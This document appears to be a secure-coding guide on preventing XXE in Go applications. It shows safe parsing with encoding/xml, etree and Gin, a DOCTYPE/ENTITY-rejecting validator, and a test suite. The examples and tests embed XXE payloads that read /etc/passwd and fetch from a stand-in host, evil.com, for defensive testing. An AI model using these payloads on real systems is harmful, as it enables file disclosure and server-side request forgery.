Go XXE Prevention
Complete guide to preventing XXE vulnerabilities in Go applications using encoding/xml and other XML libraries.
Overview
Go's standard library encoding/xml package is safe from XXE by default. It does not support external entities or DTD processing, making it inherently secure against XXE attacks.
Go XML Libraries:
- encoding/xml (standard library) - Safe by default, no external entity support
- libxml2 bindings (third-party) - May be vulnerable if not configured properly
- etree (third-party) - Safe, no external entity support
- xmlquery (third-party) - Built on encoding/xml, inherits safety
Security Status:
- encoding/xml - SAFE (no external entity support)
- Most third-party libraries - SAFE (pure Go implementations)
- CGO bindings to libxml2/expat - CHECK CAREFULLY
Best Practice:
Use Go's standard encoding/xml package. If using CGO bindings to C libraries, verify external entity handling is disabled.
encoding/xml (Safe by Default)
Standard Library Safety:
Go's encoding/xml package does NOT support:
- External entities (SYSTEM or PUBLIC)
- DTD processing
- Entity expansion beyond predefined entities (< > & " ')
What This Means:
- XXE payloads will NOT work
- External entity declarations are ignored
- No file disclosure via XML
- No SSRF via XML
- No billion laughs attacks via entities
Predefined Entities Only: The standard library only expands the 5 predefined XML entities:
< ā <
> ā >
& ā &
" ā "
' ā '
Any custom entities (internal or external) are ignored or cause parse errors.
encoding/xml Secure Usage
1package main
2
3import (
4 "encoding/xml"
5 "fmt"
6 "io"
7 "net/http"
8)
9
10// Define your XML structure
11type Message struct {
12 XMLName xml.Name `xml:"root"`
13 Data string `xml:"data"`
14 Value int `xml:"value"`
15}
16
17// SECURE: Standard parsing with encoding/xml
18func parseXMLSecure(xmlData []byte) (*Message, error) {
19 var msg Message
20
21 // This is safe - external entities ignored
22 err := xml.Unmarshal(xmlData, &msg)
23 if err != nil {
24 return nil, fmt.Errorf("invalid XML: %w", err)
25 }
26
27 return &msg, nil
28}
29
30// SECURE: HTTP handler with input validation
31func xmlHandler(w http.ResponseWriter, r *http.Request) {
32 // Validate content type
33 if r.Header.Get("Content-Type") != "application/xml" {
34 http.Error(w, "Invalid content type", http.StatusUnsupportedMediaType)
35 return
36 }
37
38 // Limit request body size (1MB)
39 maxSize := int64(1048576)
40 r.Body = http.MaxBytesReader(w, r.Body, maxSize)
41
42 // Read body
43 xmlData, err := io.ReadAll(r.Body)
44 if err != nil {
45 http.Error(w, "Request too large", http.StatusRequestEntityTooLarge)
46 return
47 }
48 defer r.Body.Close()
49
50 // Parse XML (safe from XXE)
51 msg, err := parseXMLSecure(xmlData)
52 if err != nil {
53 http.Error(w, "Invalid XML", http.StatusBadRequest)
54 return
55 }
56
57 // Process message
58 fmt.Fprintf(w, "Processed: %s\n", msg.Data)
59}
60
61func main() {
62 http.HandleFunc("/api/xml", xmlHandler)
63 fmt.Println("Server starting on :8080")
64 http.ListenAndServe(":8080", nil)
65}Using xml.Decoder for Streaming
1package main
2
3import (
4 "encoding/xml"
5 "fmt"
6 "io"
7 "strings"
8)
9
10// SECURE: Streaming XML parsing with xml.Decoder
11func parseXMLStream(xmlReader io.Reader) error {
12 // Create decoder from reader
13 decoder := xml.NewDecoder(xmlReader)
14
15 // Decoder is safe - does not expand external entities
16 // Even if XML contains <!DOCTYPE> with entities, they're ignored
17
18 for {
19 // Read next token
20 token, err := decoder.Token()
21 if err == io.EOF {
22 break
23 }
24 if err != nil {
25 return fmt.Errorf("parse error: %w", err)
26 }
27
28 // Process token based on type
29 switch elem := token.(type) {
30 case xml.StartElement:
31 fmt.Printf("Start element: %s\n", elem.Name.Local)
32
33 case xml.EndElement:
34 fmt.Printf("End element: %s\n", elem.Name.Local)
35
36 case xml.CharData:
37 fmt.Printf("Character data: %s\n", string(elem))
38 }
39 }
40
41 return nil
42}
43
44// Example with XXE attempt (will be safely ignored)
45func exampleXXEAttempt() {
46 xxePayload := `<?xml version="1.0"?>
47<!DOCTYPE root [
48 <!ENTITY xxe SYSTEM "file:///etc/passwd">
49]>
50<root>
51 <data>&xxe;</data>
52</root>`
53
54 reader := strings.NewReader(xxePayload)
55
56 // This is SAFE - the &xxe; entity will NOT be expanded
57 // encoding/xml ignores external entity declarations
58 err := parseXMLStream(reader)
59 if err != nil {
60 fmt.Printf("Error: %v\n", err)
61 }
62
63 // The &xxe; reference will either:
64 // 1. Be left as literal "&xxe;"
65 // 2. Cause a parse error (entity not defined)
66 // It will NOT read /etc/passwd
67}Input Validation and Sanitization
1package main
2
3import (
4 "bytes"
5 "encoding/xml"
6 "errors"
7 "fmt"
8 "regexp"
9)
10
11// XMLValidator provides input validation for XML
12type XMLValidator struct {
13 MaxSize int64
14 AllowDOCTYPE bool
15 AllowedRootNames []string
16}
17
18// NewXMLValidator creates validator with secure defaults
19func NewXMLValidator() *XMLValidator {
20 return &XMLValidator{
21 MaxSize: 1048576, // 1MB
22 AllowDOCTYPE: false, // Reject DOCTYPE by default
23 }
24}
25
26// Validate checks XML before parsing
27func (v *XMLValidator) Validate(xmlData []byte) error {
28 // Size check
29 if int64(len(xmlData)) > v.MaxSize {
30 return fmt.Errorf("XML exceeds maximum size of %d bytes", v.MaxSize)
31 }
32
33 // DOCTYPE check (defense in depth)
34 if !v.AllowDOCTYPE {
35 doctypeRegex := regexp.MustCompile(`(?i)<!DOCTYPE`)
36 if doctypeRegex.Match(xmlData) {
37 return errors.New("DOCTYPE declarations not allowed")
38 }
39 }
40
41 // ENTITY check (additional safety, though encoding/xml ignores them)
42 entityRegex := regexp.MustCompile(`(?i)<!ENTITY`)
43 if entityRegex.Match(xmlData) {
44 return errors.New("ENTITY declarations not allowed")
45 }
46
47 return nil
48}
49
50// ParseSafe validates and parses XML
51func (v *XMLValidator) ParseSafe(xmlData []byte, target interface{}) error {
52 // Validate first
53 if err := v.Validate(xmlData); err != nil {
54 return fmt.Errorf("validation failed: %w", err)
55 }
56
57 // Parse (safe due to encoding/xml)
58 if err := xml.Unmarshal(xmlData, target); err != nil {
59 return fmt.Errorf("parse failed: %w", err)
60 }
61
62 return nil
63}
64
65// Example usage
66type Config struct {
67 XMLName xml.Name `xml:"config"`
68 Name string `xml:"name"`
69 Value string `xml:"value"`
70}
71
72func main() {
73 validator := NewXMLValidator()
74
75 xmlData := []byte(`<?xml version="1.0"?>
76<config>
77 <name>test</name>
78 <value>123</value>
79</config>`)
80
81 var config Config
82 if err := validator.ParseSafe(xmlData, &config); err != nil {
83 fmt.Printf("Error: %v\n", err)
84 return
85 }
86
87 fmt.Printf("Config: %+v\n", config)
88}Third-Party XML Libraries
Popular Go XML Libraries:
1. encoding/xml (Standard Library)
- Status: SAFE
- Features: Full XML 1.0 support, no external entities
- Use: Default choice for XML parsing
2. github.com/beevik/etree
- Status: SAFE
- Features: Element tree API, pure Go
- Use: When you need DOM-like manipulation
3. github.com/antchfx/xmlquery
- Status: SAFE
- Features: XPath queries, built on encoding/xml
- Use: When you need XPath support
4. CGO Bindings (libxml2, expat)
- Status: POTENTIALLY VULNERABLE
- Warning: May support external entities
- Recommendation: Avoid unless necessary, configure carefully
When Using Third-Party Libraries:
- Verify they don't use CGO to call C libraries
- Check documentation for entity handling
- Review source code for external entity support
- Test with XXE payloads
beevik/etree Secure Usage
1package main
2
3import (
4 "fmt"
5 "strings"
6
7 "github.com/beevik/etree"
8)
9
10// SECURE: etree library (pure Go, no external entities)
11func parseWithEtree(xmlData string) error {
12 // Create document
13 doc := etree.NewDocument()
14
15 // Parse XML (safe - etree doesn't support external entities)
16 if err := doc.ReadFromString(xmlData); err != nil {
17 return fmt.Errorf("parse error: %w", err)
18 }
19
20 // Navigate and extract data
21 root := doc.SelectElement("root")
22 if root == nil {
23 return fmt.Errorf("root element not found")
24 }
25
26 // Find elements using XPath-like syntax
27 for _, elem := range root.SelectElements("data") {
28 fmt.Printf("Data: %s\n", elem.Text())
29 }
30
31 return nil
32}
33
34// Example with XXE attempt (safely ignored)
35func exampleEtreeXXE() {
36 xxePayload := `<?xml version="1.0"?>
37<!DOCTYPE root [
38 <!ENTITY xxe SYSTEM "file:///etc/passwd">
39]>
40<root>
41 <data>&xxe;</data>
42</root>`
43
44 // This is SAFE - etree will ignore the external entity
45 err := parseWithEtree(xxePayload)
46 if err != nil {
47 fmt.Printf("Error: %v\n", err)
48 return
49 }
50
51 // The &xxe; entity will NOT be expanded
52}
53
54func main() {
55 // Safe XML example
56 safeXML := `<?xml version="1.0"?>
57<root>
58 <data>Hello World</data>
59</root>`
60
61 if err := parseWithEtree(safeXML); err != nil {
62 fmt.Printf("Error: %v\n", err)
63 }
64}Gin Framework XML Handling
1package main
2
3import (
4 "net/http"
5
6 "github.com/gin-gonic/gin"
7)
8
9// Request structure
10type XMLRequest struct {
11 Name string `xml:"name" binding:"required"`
12 Email string `xml:"email" binding:"required,email"`
13 Age int `xml:"age" binding:"required,min=1,max=120"`
14}
15
16// Response structure
17type XMLResponse struct {
18 Status string `xml:"status"`
19 Message string `xml:"message"`
20}
21
22func main() {
23 router := gin.Default()
24
25 // Middleware to limit request size
26 router.Use(func(c *gin.Context) {
27 c.Request.Body = http.MaxBytesReader(c.Writer, c.Request.Body, 1048576) // 1MB
28 c.Next()
29 })
30
31 // SECURE: Gin uses encoding/xml by default
32 router.POST("/api/xml", func(c *gin.Context) {
33 var req XMLRequest
34
35 // BindXML uses encoding/xml (safe from XXE)
36 if err := c.BindXML(&req); err != nil {
37 c.XML(http.StatusBadRequest, XMLResponse{
38 Status: "error",
39 Message: "Invalid XML",
40 })
41 return
42 }
43
44 // Process request
45 c.XML(http.StatusOK, XMLResponse{
46 Status: "success",
47 Message: "Processed XML for " + req.Name,
48 })
49 })
50
51 router.Run(":8080")
52}
53
54// Custom middleware for additional XML validation
55func XMLValidationMiddleware() gin.HandlerFunc {
56 return func(c *gin.Context) {
57 // Check Content-Type
58 if c.ContentType() != "application/xml" {
59 c.AbortWithStatusJSON(http.StatusUnsupportedMediaType, gin.H{
60 "error": "Content-Type must be application/xml",
61 })
62 return
63 }
64
65 c.Next()
66 }
67}Testing XXE Prevention
1package main
2
3import (
4 "encoding/xml"
5 "strings"
6 "testing"
7)
8
9type TestMessage struct {
10 XMLName xml.Name `xml:"root"`
11 Data string `xml:"data"`
12}
13
14// Test that XXE payloads are NOT expanded
15func TestXXEPrevention(t *testing.T) {
16 tests := []struct {
17 name string
18 payload string
19 }{
20 {
21 name: "External entity file disclosure",
22 payload: `<?xml version="1.0"?>
23<!DOCTYPE root [
24 <!ENTITY xxe SYSTEM "file:///etc/passwd">
25]>
26<root>
27 <data>&xxe;</data>
28</root>`,
29 },
30 {
31 name: "External entity SSRF",
32 payload: `<?xml version="1.0"?>
33<!DOCTYPE root [
34 <!ENTITY xxe SYSTEM "http://evil.com/xxe">
35]>
36<root>
37 <data>&xxe;</data>
38</root>`,
39 },
40 {
41 name: "Parameter entity",
42 payload: `<?xml version="1.0"?>
43<!DOCTYPE root [
44 <!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd">
45 %xxe;
46]>
47<root>
48 <data>test</data>
49</root>`,
50 },
51 }
52
53 for _, tt := range tests {
54 t.Run(tt.name, func(t *testing.T) {
55 var msg TestMessage
56
57 // Attempt to parse XXE payload
58 err := xml.Unmarshal([]byte(tt.payload), &msg)
59
60 // Either parse succeeds with entity NOT expanded
61 // OR parse fails (both are acceptable)
62 if err == nil {
63 // Verify no file contents or SSRF data in result
64 if strings.Contains(msg.Data, "root:") ||
65 strings.Contains(msg.Data, "http") {
66 t.Errorf("XXE payload was expanded! Got: %s", msg.Data)
67 }
68 t.Logf("Parse succeeded, entity not expanded: %s", msg.Data)
69 } else {
70 t.Logf("Parse failed (acceptable): %v", err)
71 }
72 })
73 }
74}
75
76// Test that valid XML is parsed correctly
77func TestValidXMLParsing(t *testing.T) {
78 validXML := `<?xml version="1.0"?>
79<root>
80 <data>Hello World</data>
81</root>`
82
83 var msg TestMessage
84 err := xml.Unmarshal([]byte(validXML), &msg)
85
86 if err != nil {
87 t.Errorf("Valid XML failed to parse: %v", err)
88 }
89
90 if msg.Data != "Hello World" {
91 t.Errorf("Expected 'Hello World', got '%s'", msg.Data)
92 }
93}Go XML Security Best Practices
Best Practices for Go XML Security:
1. Use Standard Library
ā Prefer encoding/xml over third-party libraries
ā Inherently safe from XXE
ā Well-tested and maintained
2. Input Validation ā Validate Content-Type header ā Enforce size limits (use http.MaxBytesReader) ā Reject DOCTYPE declarations (defense in depth) ā Validate against expected schema
3. Error Handling ā Don't expose parse errors to users ā Log errors internally with details ā Return generic error messages ā Monitor for XXE attempt patterns
4. Third-Party Libraries ā Verify no CGO usage (pure Go preferred) ā Review for external entity support ā Test with XXE payloads ā Keep dependencies updated
5. Testing ā Include XXE payloads in security tests ā Verify entities not expanded ā Test with various attack vectors ā Automate security testing in CI/CD
6. Monitoring ā Log all XML parsing operations ā Alert on suspicious patterns (DOCTYPE, ENTITY) ā Monitor for parse errors ā Track XML endpoint usage
Go XXE Prevention Checklist
ā Use encoding/xml from standard library ⢠Avoid third-party XML libraries unless necessary ⢠Verify third-party libraries are pure Go
ā Validate input before parsing ⢠Check Content-Type header ⢠Enforce size limits (1MB default) ⢠Reject DOCTYPE if not needed ⢠Reject ENTITY declarations
ā Use http.MaxBytesReader ⢠Limit request body size ⢠Prevent DoS via large XML ⢠Apply to all XML endpoints
ā Implement proper error handling ⢠Don't expose parse errors ⢠Log errors with request context ⢠Return generic error messages
ā Test XXE prevention ⢠Include XXE tests in test suite ⢠Test all XML parsing code paths ⢠Verify entities not expanded ⢠Test with actual attack payloads
ā Keep dependencies updated
⢠Run go get -u regularly
⢠Monitor security advisories
⢠Use go mod tidy to clean up
ā Review code for XML parsing ⢠Audit all xml.Unmarshal calls ⢠Verify no unsafe third-party libs ⢠Check for CGO XML bindings
ā Monitor and log ⢠Log all XML parsing attempts ⢠Alert on suspicious patterns ⢠Track parsing errors